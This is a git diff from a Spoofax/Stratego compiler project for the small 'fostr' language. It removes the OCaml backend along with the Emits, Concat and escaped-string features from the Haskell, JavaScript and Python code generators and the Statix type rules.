defStream: DefEmits() -> Emits(Stream())
|
|
||||||
|
|
||||||
strategies
|
strategies
|
||||||
|
|
||||||
desugar-fostr = bottomup(try(defStream <+ deISe <+ seqFlatten))
|
desugar-fostr = bottomup(try(deISe <+ seqFlatten))
|
||||||
|
|
@ -6,7 +6,6 @@ imports
|
|||||||
pp
|
pp
|
||||||
outline
|
outline
|
||||||
analysis
|
analysis
|
||||||
ocaml
|
|
||||||
haskell
|
haskell
|
||||||
javascript
|
javascript
|
||||||
python
|
python
|
||||||
|
@ -10,7 +10,7 @@ rules
|
|||||||
rule.
|
rule.
|
||||||
C) We will use bottomup-para to traverse the full AST with the
|
C) We will use bottomup-para to traverse the full AST with the
|
||||||
transformation from A so that we have access to the original expression
|
transformation from A so that we have access to the original expression
|
||||||
(and can get the Statix-associated type when we need to).
|
(and get get the Statix-associated type when we need to).
|
||||||
Hence the transformation in (A) must actually take a pair of
|
Hence the transformation in (A) must actually take a pair of
|
||||||
an (original) term and a term with value strings at each child,
|
an (original) term and a term with value strings at each child,
|
||||||
and be certain to return a value string.
|
and be certain to return a value string.
|
||||||
@ -19,11 +19,9 @@ rules
|
|||||||
returning the final value.
|
returning the final value.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
hs: (_, TopLevel(val)) -> $[-- Preamble from fostr
|
hs: (_, TopLevel(val)) -> $[import System.IO
|
||||||
import System.IO
|
|
||||||
data IOStream = StdIO
|
data IOStream = StdIO
|
||||||
|
|
||||||
-- Danger: These currently assume the stream is StdIO
|
|
||||||
gets :: Show b => a -> b -> IO a
|
gets :: Show b => a -> b -> IO a
|
||||||
gets s d = do
|
gets s d = do
|
||||||
putStr(show d)
|
putStr(show d)
|
||||||
@ -34,19 +32,13 @@ rules
|
|||||||
putStr(d)
|
putStr(d)
|
||||||
return s
|
return s
|
||||||
|
|
||||||
emit s = do
|
|
||||||
l <- getLine
|
|
||||||
return (l ++ "\n")
|
|
||||||
|
|
||||||
main = do
|
main = do
|
||||||
[<Preactions>()]return [val]]
|
[<Preactions>()]return [val]]
|
||||||
|
|
||||||
hs: (_, Stream()) -> "StdIO"
|
hs: (_, Stream()) -> "StdIO"
|
||||||
hs: (_, Int(x)) -> x
|
hs: (_, Int(x)) -> x
|
||||||
hs: (_, LitString(x)) -> <haskLitString>x
|
hs: (_, LitString(x)) -> <haskLitString>x
|
||||||
hs: (_, EscString(x)) -> x
|
|
||||||
hs: (_, Sum(x, y)) -> $[([x] + [y])]
|
hs: (_, Sum(x, y)) -> $[([x] + [y])]
|
||||||
hs: (_, Concat(x, y)) -> $[([x] ++ [y])]
|
|
||||||
|
|
||||||
hs: (Gets(_, xn), Gets(s, x)) -> v
|
hs: (Gets(_, xn), Gets(s, x)) -> v
|
||||||
with v := <newname>"_fostr_get"
|
with v := <newname>"_fostr_get"
|
||||||
@ -58,10 +50,6 @@ rules
|
|||||||
hs_gets: (s, xn, x ) -> $[[s] [<hs_getOp>xn] [x]]
|
hs_gets: (s, xn, x ) -> $[[s] [<hs_getOp>xn] [x]]
|
||||||
hs_getOp = get-type; (?STRING() < !"`getsStr`" + !"`gets`")
|
hs_getOp = get-type; (?STRING() < !"`getsStr`" + !"`gets`")
|
||||||
|
|
||||||
hs: (_, Emits(s)) -> v
|
|
||||||
with v := <newname>"_fostr_emitted"
|
|
||||||
; <add-preactions>[$[[v] <- emit [s]]]
|
|
||||||
|
|
||||||
hs: (_, Terminate(x)) -> $[[x];;]
|
hs: (_, Terminate(x)) -> $[[x];;]
|
||||||
hs: (_, Sequence(l)) -> <last>l
|
hs: (_, Sequence(l)) -> <last>l
|
||||||
/* One drawback of using paramorphism is we have to handle lists
|
/* One drawback of using paramorphism is we have to handle lists
|
||||||
|
@ -2,42 +2,21 @@ module javascript
|
|||||||
imports libstrategolib signatures/- util
|
imports libstrategolib signatures/- util
|
||||||
|
|
||||||
rules
|
rules
|
||||||
js: TopLevel(x) -> $[// Fostr preamble
|
js: TopLevel(x) -> $[const Stdio = {
|
||||||
const _fostr_readline = require('readline');
|
|
||||||
const _fostr_events = require('events');
|
|
||||||
const _fostr_rl = _fostr_readline.createInterface({input: process.stdin});
|
|
||||||
const Stdio = {
|
|
||||||
gets: v => { process.stdout.write(String(v)); return Stdio; },
|
gets: v => { process.stdout.write(String(v)); return Stdio; },
|
||||||
emit: async () => {
|
|
||||||
const [line] = await _fostr_events.once(_fostr_rl, 'line');
|
|
||||||
return line + "\n"; }
|
|
||||||
}
|
}
|
||||||
function to(data, strm) {
|
function to(data, strm) {
|
||||||
strm.gets(data);
|
strm.gets(data);
|
||||||
return data;
|
return data;
|
||||||
}
|
}
|
||||||
|
[x]]
|
||||||
const _fostr_body = async () => {
|
|
||||||
// End of preamble
|
|
||||||
|
|
||||||
[x]
|
|
||||||
|
|
||||||
// Fostr coda
|
|
||||||
_fostr_rl.close()
|
|
||||||
}
|
|
||||||
_fostr_body();
|
|
||||||
]
|
|
||||||
with line := "[line]"
|
|
||||||
|
|
||||||
js: Stream() -> $[Stdio]
|
js: Stream() -> $[Stdio]
|
||||||
js: Int(x) -> x
|
js: Int(x) -> x
|
||||||
js: LitString(x) -> <javaLitString>x
|
js: LitString(x) -> <javaLitString>x
|
||||||
js: EscString(x) -> x
|
|
||||||
js: Sum(x,y) -> $[[x] + [y]]
|
js: Sum(x,y) -> $[[x] + [y]]
|
||||||
js: Concat(x, y) -> $[[x] + [y]]
|
|
||||||
js: Gets(x, y) -> $[[x].gets([y])]
|
js: Gets(x, y) -> $[[x].gets([y])]
|
||||||
js: To(x, y) -> $[to([x],[y])]
|
js: To(x, y) -> $[to([x],[y])]
|
||||||
js: Emits(x) -> $[(await [x].emit())]
|
|
||||||
js: Terminate(x) -> x
|
js: Terminate(x) -> x
|
||||||
js: Sequence(l) -> <join(|";\n")>l
|
js: Sequence(l) -> <join(|";\n")>l
|
||||||
|
|
||||||
|
@ -1,66 +0,0 @@
|
|||||||
module ocaml
|
|
||||||
imports libstrategolib signatures/- util signature/TYPE analysis
|
|
||||||
|
|
||||||
/* Note will use bottomup-para to traverse the full AST so that
|
|
||||||
we have access to the original expression (and can get the
|
|
||||||
Statix-associated type when we need to).
|
|
||||||
|
|
||||||
This means that every one of our local rules must take a pair
|
|
||||||
of an original term and a term with every child replaced by
|
|
||||||
its generated code.
|
|
||||||
*/
|
|
||||||
|
|
||||||
rules
|
|
||||||
ml: (_, TopLevel(x)) -> $[(* fostr preamble *)
|
|
||||||
type stream = { getS: string -> stream; emitS: unit -> string }
|
|
||||||
let rec stdio = {
|
|
||||||
getS = (fun s -> print_string s; stdio);
|
|
||||||
emitS = (fun () -> (read_line ()) ^ "\n");
|
|
||||||
};;
|
|
||||||
(* End of preamble *)
|
|
||||||
|
|
||||||
[x]]
|
|
||||||
|
|
||||||
ml: (_, Stream()) -> $[stdio]
|
|
||||||
ml: (_, Int(x)) -> x
|
|
||||||
ml: (_, LitString(x)) -> $[{|[<un-single-quote>x]|}]
|
|
||||||
ml: (_, EscString(x)) -> x
|
|
||||||
ml: (_, Sum(x, y)) -> $[[x] + [y]]
|
|
||||||
ml: (_, Concat(x, y)) -> $[[x] ^ [y]]
|
|
||||||
|
|
||||||
ml: (Gets(_,yn), Gets(x, y))
|
|
||||||
-> $[([x]).getS ([<ml_str>(yn,y)])]
|
|
||||||
ml: (To(xn,_), To(x, y))
|
|
||||||
-> $[let _fto = ([x]) in (ignore (([y]).getS ([<ml_str>(xn,"_fto")])); _fto)]
|
|
||||||
ml: (_, Emits(s)) -> $[[s].emitS ()]
|
|
||||||
|
|
||||||
ml: (_, Terminate(x)) -> x
|
|
||||||
ml: (_, Sequence(l)) -> <ml_seq>l
|
|
||||||
|
|
||||||
ml_seq: [x] -> x
|
|
||||||
ml_seq: [x | xs ] -> $[ignore ([x]);
|
|
||||||
[<ml_seq>xs]]
|
|
||||||
|
|
||||||
/* One drawback of using paramorphism is we have to handle lists
|
|
||||||
explicitly:
|
|
||||||
*/
|
|
||||||
ml: (_, []) -> []
|
|
||||||
ml: (_, [x | xs]) -> [x | xs]
|
|
||||||
|
|
||||||
/* Another drawback of using paramorphism is at the very leaves we have
|
|
||||||
to undouble the tuple:
|
|
||||||
*/
|
|
||||||
ml: (x, x) -> x where <is-string>x
|
|
||||||
|
|
||||||
ml_str: (node, code) -> $[[<ml_string_cast>node]([code])]
|
|
||||||
|
|
||||||
strategies
|
|
||||||
|
|
||||||
ml_string_cast = get-type; (?INT() < !"string_of_int" + !"")
|
|
||||||
|
|
||||||
ocaml = bottomup-para(try(ml))
|
|
||||||
|
|
||||||
// Interface ocaml code generation with editor services and file system
|
|
||||||
to-ocaml: (selected, _, _, path, project-path) -> (filename, result)
|
|
||||||
with filename := <guarantee-extension(|"ml")> path
|
|
||||||
; result := <ocaml> selected
|
|
@ -2,31 +2,23 @@ module python
|
|||||||
imports libstrategolib signatures/- util
|
imports libstrategolib signatures/- util
|
||||||
rules
|
rules
|
||||||
|
|
||||||
py: TopLevel(x) -> $[## Fostr preamble
|
py: TopLevel(x) -> $[import sys
|
||||||
import sys
|
|
||||||
class StdioC:
|
class StdioC:
|
||||||
def gets(self, v):
|
def gets(self, v):
|
||||||
print(v, file=sys.stdout, end='')
|
print(v, file=sys.stdout, end='')
|
||||||
return self
|
return self
|
||||||
def emit(self):
|
|
||||||
return input() + "\n" # Python inconsistently strips when using input
|
|
||||||
def to(data,strm):
|
def to(data,strm):
|
||||||
strm.gets(data)
|
strm.gets(data)
|
||||||
return data
|
return data
|
||||||
Stdio = StdioC()
|
Stdio = StdioC()
|
||||||
## End of preamble
|
|
||||||
|
|
||||||
[x]]
|
[x]]
|
||||||
|
|
||||||
py: Stream() -> $[Stdio]
|
py: Stream() -> $[Stdio]
|
||||||
py: Int(x) -> x
|
py: Int(x) -> x
|
||||||
py: LitString(x) -> $[r[x]]
|
py: LitString(x) -> $[r[x]]
|
||||||
py: EscString(x) -> x
|
|
||||||
py: Sum(x,y) -> $[[x] + [y]]
|
py: Sum(x,y) -> $[[x] + [y]]
|
||||||
py: Concat(x,y) -> $[[x] + [y]]
|
|
||||||
py: Gets(x, y) -> $[[x].gets([y])]
|
py: Gets(x, y) -> $[[x].gets([y])]
|
||||||
py: To(x, y) -> $[to([x],[y])]
|
py: To(x, y) -> $[to([x],[y])]
|
||||||
py: Emits(x) -> $[[x].emit()]
|
|
||||||
py: Terminate(x) -> $[[x];]
|
py: Terminate(x) -> $[[x];]
|
||||||
py: Sequence(l) -> <join(|"\n")>l
|
py: Sequence(l) -> <join(|"\n")>l
|
||||||
|
|
||||||
|
@ -184,19 +184,16 @@ constructor was trivial:
|
|||||||
|
|
||||||
Now typing literals is straightforward:
|
Now typing literals is straightforward:
|
||||||
```statix
|
```statix
|
||||||
{! "\git docs/statix_works:trans/statics.stx" extract:
|
|
||||||
start: '(.*ty_Ex.Int.*\s*)'
|
|
||||||
stop: '/. ../'
|
|
||||||
!}
|
|
||||||
```
|
|
||||||
**/
|
**/
|
||||||
|
|
||||||
|
/** md */
|
||||||
ty_Ex(Int(_)) = INT().
|
ty_Ex(Int(_)) = INT().
|
||||||
ty_Ex(LitString(_)) = STRING().
|
ty_Ex(LitString(_)) = STRING().
|
||||||
ty_Ex(EscString(_)) = STRING().
|
|
||||||
ty_Ex(e@Stream()) = STREAM().
|
ty_Ex(e@Stream()) = STREAM().
|
||||||
|
/* **/
|
||||||
|
|
||||||
/** md
|
/** md
|
||||||
|
```
|
||||||
|
|
||||||
Finally we get to the binary operators, and here we use the pattern found in
|
Finally we get to the binary operators, and here we use the pattern found in
|
||||||
recent versions of the
|
recent versions of the
|
||||||
@ -222,13 +219,6 @@ This pattern lets us specify error messages.
|
|||||||
type_Ex(e2) == STREAM() | error $[Items may only be sent to Streams.]@e2.
|
type_Ex(e2) == STREAM() | error $[Items may only be sent to Streams.]@e2.
|
||||||
/* **/
|
/* **/
|
||||||
|
|
||||||
ty_Ex(Concat(e1, e2)) = STRING() :-
|
|
||||||
type_Ex(e1) == STRING() | error $[Expression [e1] not String in concat.]@e1,
|
|
||||||
type_Ex(e2) == STRING() | error $[Expression [e2] not String in concat.]@e2.
|
|
||||||
|
|
||||||
ty_Ex(Emits(e)) = STRING() :- // At the moment, only stream is stdio
|
|
||||||
type_Ex(e) == STREAM() | error $[Only Streams may emit items.]@e.
|
|
||||||
|
|
||||||
/** md
|
/** md
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user